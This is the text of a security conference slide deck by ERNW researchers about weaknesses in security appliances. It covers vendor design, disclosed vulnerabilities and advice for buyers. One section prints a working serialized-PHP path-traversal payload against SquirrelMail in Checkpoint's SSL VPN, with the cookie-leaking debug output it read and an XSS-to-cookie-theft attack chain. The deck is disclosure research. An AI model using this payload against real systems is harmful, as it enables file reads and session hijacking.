SECURITY APPLIANCES INTERNALS

Florian Grunow & Birk Kauer
{fgrunow, bkauer}@ernw.de
#WhoAreWe

- **Florian Grunow**
  - ERNW Research
  - Team Lead / Security Analyst
  - @0x79

- **Birk Kauer**
  - ERNW Research
  - Researcher / Security Analyst
  - @lod108
Agenda

- Relevance of this Research
- Architecture and Design
- Security Issues in Appliances
- Key Takeaways and Recommendations
- Questions
Scope of this Research

- Appliances, appliances, appliances ...
- “A computer appliance is a computer with software or firmware that is specifically designed to provide a specific computing resource. Such devices became known as appliances because of the similarity in role or management to a home appliance, which are generally closed and sealed, and are not serviceable by the user or owner.”[1]
- We will focus on security appliances in this talk
- Derive recommendations to get you started

The Next Generation of Cyber Security is Here: Gen V

Third-generation security is no match for today’s fifth generation of cyber attacks. Step up to Gen V

Prevent Security Breaches
Preemptively block known and unknown malware, exploits and zero-day threats with the unique multi-method prevention approach of Traps™ advanced endpoint protection from a single, lightweight agent.
Relevance of this Research

- Security appliances are core infrastructure
- You place those boxes in your infrastructure
  - Exposed to multiple networks
  - Trust relationships
- Processed data is usually critical
  - Mails/data gets analyzed for malware
  - VPN and firewall functionality
  - Proxy functionality
- Appliances enforce security in your environment

→ Security of security appliances is extremely important!
Relevance of this Research

○ Threat No. 1: Time to market
  ○ Security industry is fast paced -> React to new threats fast
  ○ Features need to be pushed fast
  ○ Pushing features gives you a market advantage

○ Threat No. 2: Complexity
  ○ Security appliances have a high level of complexity
  ○ Dynamically analyzing malware, Web UIs all over the place, Big Data, dealing with thousands of clients, …
  ○ Complexity kills!
This is a pretty bad combination ...

Rushing features + Complexity + Core Infrastructure
Architecture and Design

High level overview on how security appliances work
Vendor Class #1 – “We do everything on our own!”

- Major components are written from scratch
- Little external dependencies

- Best Example: BlueCoat’s SGOS
  - Custom FileSystem
  - Custom BootLoader

- Timo Schmid wrote a nice tool to interact with the BlueCoat FS
  - https://insinuator.net/2017/10/reading-the-bluecoat-filesystem/
Vendor Class #2 – “Let’s integrate 3rd Party Software”

- Write only (if at all) basic functionality from scratch
- Other functionality provided by 3rd parties
  - Proprietary
  - Open Source
- Components range from classic services ...
  - Web Server / Application Server
  - Databases
- ... to core functionality
  - ZIP extraction
  - Runtime environments
  - Log collection
Pros & Cons #1 - “We do everything on our own!”

+
- Full control of architecture
- Full knowledge of written code
- High entry barrier for researchers and attackers
- No dependencies for patches

- Hard to stay bleeding edge on security mechanism (e.g. ASLR)
- High entry barrier might tempt to play “security by obscurity”
- More effort to push new features
- Knowledge about “how stuff works” is hard to obtain for staff
Pros & Cons #2 - “Let’s integrate 3\textsuperscript{rd} Party Software”

+  
-  
- Less codebase to take care of  
- 3\textsuperscript{rd} party projects can be well maintained & patched in time \implies can reduce effort, especially for security fixes/secure architecture  
- Features can be quickly glued together  
- Technologies are well-known  

- 3\textsuperscript{rd} party will contain bugs  
- 3\textsuperscript{rd} party might be EOL at some point  
- Bug hunting is much easier because the technologies are well documented  
- Patches might not be usable from 3\textsuperscript{rd} party due to customization
Security Issues in Appliances

What has been done, new findings ...
FireEye

- MVX Traffic Analysis Buffer Overflow[1]
  - Found by Felix Wilhelm - 2015
  - Buffer overflow in code that is analyzing malware samples
  - Own implementation?

- Code Execution Through Analysis Of ZIP Archives[1]
  - Found by Felix Wilhelm – 2015
  - Symlink attack in a ZIP file leads to code execution
  - Third party library?

- Network Isolation[2]
  - Found by Andreas Dewald – 2017
  - Allows malware samples to talk to the network services on the device
  - Configuration issue?

Palo Alto

- appweb3 stack buffer overflow\(^1\)
  - Found by Tavis Ormandy – 2016
  - Classic buffer overflow
  - Third party component (EOL since 2012)
- Buffer overflow in username handling\(^2\)
  - Found by Felix Wilhelm – 2016
  - Allows for RCE by exploiting a buffer overflow
  - Own implementation
- Remote root code execution CVE-2017-15944 \(^3\)
  - Found by Philip Pettersson – 2017
  - Authentication bypass, arbitrary directory creation, command injection in cron script
  - Own implementation

[1]: Project Zero, August 22\(^{nd}\) 2016: https://bugs.chromium.org/p/project-zero/issues/detail?id=908
[2]: Palo Alto Networks security advisory: https://securityadvisories.paloaltonetworks.com/Home/Detail/37
[3]: Palo Alto Networks security advisory: https://securityadvisories.paloaltonetworks.com/Home/Detail/102
Checkpoint – Web UI

Classic Web Application Vulnerability in Own Code
Checkpoint SSLVPN

- Quickly looking for low hanging fruits didn’t reveal anything interesting
- All user input is handled via Zend
- Pretty failsafe due to Zend approach

Remember?
→ *Rushing features* + Complexity + Core Infrastructure
Mobile Portal - New Feature?
Certificate Enrollment
Please enter the Activation Key provided by your administrator.
Activation Key: (xxxxx-xxxxxx)
Submit  help
Complexity + Rushing Features

- Authenticated reflected Cross-Site Scripting [fixed]
- Unauthenticated reflected Cross-Site Scripting [fixed]
- Classic web application vulnerability in Checkpoint’s code
- Disclosed to Checkpoint on 09.05.2017
- Fixed by Checkpoint on 11.05.2017

→ Indicator for missing quality assurance?
→ Feature pushed too fast?
Checkpoint - SquirrelMail

Third Party Vulnerability in Checkpoint
Bug: Deliver.class.php

```php
$last = false;
for ($i=0, $entCount=count($message->entities);$i<$entCount;$i++) {
    $msg = $this->writeBody($message->entities[$i], $stream, $length_raw, $boundary_new);
    if ($i == $entCount-1) $last = true;
}
function writeBodyPart($message, $stream, &$length) {
    [...] 
    } elseif ($message->att_local_name) {
        global $username, $attachment_dir;
        $hashed_attachment_dir = getHashedDir($username, $attachment_dir);
        $filename = $message->att_local_name;

        $file_has_long_lines = file_has_long_lines($hashed_attachment_dir
            . '/' . $filename, 990);

        $file = fopen($hashed_attachment_dir . '/' . $filename, 'rb');
```
POST

Content-Disposition: form-data; name="attachments"

a:1:{i:0;O:7:"Message";21:{s:13:"rfc822_header";s:0:"";s:19:"reply_rfc822_header";s:0:"";s:11:"mime_header";0:13:"MessageHeader";10:{s:5:"type0";s:4:"text";s:5:"type1";s:5:"plain";s:10:"parameters";a:1:{s:4:"name";s:8:"test.txt";}}s:2:"id";i:0;s:11:"description";s:0:"";s:8:"encoding";s:0:"";s:4:"size";i:0;s:3:"md5";s:0:"";s:11:"Disposition";0:11:"Disposition";2:{s:4:"name";s:10:"attachment";s:10:"properties";a:1:{s:8:"filename";s:8:"test.txt";}}s:8:"language";s:0:"";s:5:"flags";s:0:"";s:5:"type0";s:0:"";s:5:"type1";s:0:"";s:8:"entities";a:0:{}s:9:"entity_id";s:0:"";s:10:"parent_entity";N; s:6:"entity";N;s:6:"parent";s:0:"";s:12:"decoded_body";s:0:"";s:7:"is_seen";i:0;s:11:"is_answered";i:0;s:10:"is_deleted";i:0;s:10:"is_flagged";i:0;s:10:"is_mdsent";i:0;s:9:"body_part";s:0:"";s:6:"offset";i:0;s:6:"length";i:0;s:14:"att_local_name";s:39:"..../..../..../../tmp/hosts_dns.post.debug";}
}
/tmp/hosts_dns.post.debug

====== Envs ======
DOCUMENT_ROOT="/usr/local/apache2/htdocs"
GATEWAY_INTERFACE="CGI/1.1"
HTTP_ACCEPT="/*/*"
HTTP_ACCEPT_ENCODING="gzip, deflate, sdch, br"
HTTP_ACCEPT_LANGUAGE="de-DE,de;q=0.8,en-US;q=0.6,en;q=0.4"
HTTP_CONNECTION="keep-alive"
HTTP_COOKIE="CPCVPN_SESSION_ID=d291fd7d94511e97b342383cc81a4e33af709a; CPCVPN_BASE_HOST=192.168.56.100; CPCVPN_OBSCURE_KEY=4720c1a437c370c2ae435608b76da5fe; CPCVPN_REQUESTED_URL=aHR0cHM6Ly8xOTIuMTY4LjU2LjEvMC9zc2x2cG4vTWFpbC9zc3Mvd2VibWFpbC5waHA=; selected_realm=ssl_vpn; Session=d7c9faa3ba7d71f451c7a5bd0a60a786"
HTTP_HOST="192.168.56.100"
HTTP_REFERER="https://192.168.56.100/_e2433bfc14a8358e7e9c57e632d97ea5/cgi-bin/home.tcl"
HTTP_USER_AGENT="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36"
REQUEST_URI="/e2433bfc14a8358e7e9c57e632d97ea5/cgi-bin/hosts_dns.tcl?option=global&dc=1494503353989"
Attack Scenario

1. Unauthenticated Cross-Site Scripting
2. Hook browser of a victim
3. Gain access to vulnerable SquirrelMail functionality
4. Read /tmp/hosts_dns.post.debug
5. Extract cookies of users
6. Profit!
Complexity + Rushing Features

- Arbitrary file read [fixed in Checkpoint]
- Arbitrary file delete [fixed in Checkpoint]
- Disclosed to Checkpoint on 09.05.2017
- Fixed by Checkpoint on 21.5.2017

- Disclosed to SquirrelMail on 21.05.2017
- Unfixed since ...

- Short summary is available at:
  https://insinuator.net/2018/03/squirrelmail-full-disclosure-troopers18/
$SIEM Appliance - NXLog

Third Party Vulnerability in $SIEM Appliance
Encounter with a $SIEM Appliance

- We cannot talk about the vendor in this case, sorry!
- Classic SIEM appliance to monitor events and track vulnerabilities
- Aggregates a lot of data

- Blackbox penetration test
- No credentials, just the IP of the device
- Found an open SSL-enabled port
- Quick reconnaissance revealed NXLog functionality
- Vulnerability analysis exposed a remote code execution in NXLog
NXLog Remote Code Execution - Demo

Details will be shared on insinuator.net once patches are available for all versions.
Vendors Possibly Interacting with NXLog

AlienVault:

LogSense:
https://sematext.com/logsene/

insightIDR:

Canopsis:

Graylog:

NxSIEM:
Key Takeaways and Recommendations

What you should look for when acquiring a security appliance ...
Handling of Disclosures/Security Community

- Provides information on how mature security processes are on the vendor’s side
- Questions to ask:
  - Do they have a responsible disclosure process?
  - Do they interact with the security community?
  - Do they provide information on security related issues?
  - Will you be able to file security issues as a “bug” or is there a dedicated channel?
- Things to consider:
  - Lack of mature security processes can be an indicator for missing security considerations in general (e.g. product security, secure development lifecycle)
General Questions to Ask

- Are they performing penetration tests and can you see the results?
  → Even if you do not get to see the results, they will expose on how professional they are concerning this topic!
  → In addition you show the vendor that security is of high value for you!

- Do they train their staff in {application, devops, design, architecture} security?
  → E.g. with TROOPERS workshops? ;-)

- Do they implement a secure development lifecycle?
  → Can you see some documentation for it?
Used Technologies

- Do they use technologies that consider security out of the box?
  - Memory safe programming languages?
  - Security frameworks?
- Do they implement functionality themselves?
  - How do they ensure security?
- Do they use 3rd party code?
  - How do they maintain security for those components?
  - How do they proceed when a component is EOL?
- What is the average time to patch for security issues?
  - Is it hard to maintain the security for the overall design?
Cloud Features

- Cloud and security is always an interesting discussion ... 😊
- In this case you need to consider:
  - The cloud is not your infrastructure
  - This obviously raises data protection and privacy questions
  - BUT: If a box gets owned in the cloud it's not in your infrastructure!
- Having features in the cloud and not in your infrastructure greatly reduces your attack surface[^1]
- It’s your job to decide on which risk you take
  - Data protection vs. security

[^1]: I am sorry for saying something positive about the cloud in a security context ... ;-)
Conclusions

- Security appliances are core infrastructure and must be secured in an appropriate way!

- Put pressure on vendors so they have to integrate security by design!
  - IMHO: Vendors definitely have to catch up here!

- Consider security aspects **before** making a decision!
Thank you for your attention!

Now go, make the world a safer place!

Questions?

{fgrunow, bkauer}@ernw.de

www.ernw.de

@0x79, @lod108

www.insinuator.net
Relevant Vulnerabilities

- 2015, FireEye MPS, multiple RCE
- 2015, Kaspersky Antivirus, RCE
- 2016, Cisco ASA, RCE
- 2016, Palo Alto, multiple RCE
- 2016, Palo Alto, multiple local privilege escalations
- 2016, Symantec various products, RCE
- 2016, Astaro Security Gateway v7, RCE
- 2017, Palo Alto, Management RCE
- 2017, FireEye Network Isolation Bypass
- 2017, Trend Micro Threat Discovery Appliance, RCE
- 2017, Checkpoint Arbitrary Read
- 2017, RCE on several SIEM Appliances